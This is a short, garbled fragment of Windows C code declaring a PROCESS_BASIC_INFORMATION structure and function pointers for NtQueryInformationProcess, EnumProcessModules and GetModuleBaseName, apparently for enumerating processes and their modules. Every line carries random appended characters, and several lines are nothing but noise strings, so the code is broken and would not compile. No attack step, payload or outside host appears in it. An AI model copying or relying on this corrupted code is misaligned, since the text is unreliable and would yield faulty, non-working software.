DWORD PebBaseAddress; 1yY'hb,0
DWORD AffinityMask; jtlDS f#
DWORD BasePriority; fNmG`Ke
ULONG UniqueProcessId; a93d'ZE-X
ULONG InheritedFromUniqueProcessId; 0 VWCm( f-
} PROCESS_BASIC_INFORMATION; C=pPI
2t~7eI%d
PROCNTQSIP NtQueryInformationProcess; )yz9? ]a
J_)z:`[yE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !S$oaCxM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $e^ :d
M2;(+8 b
HANDLE hProcess; J,&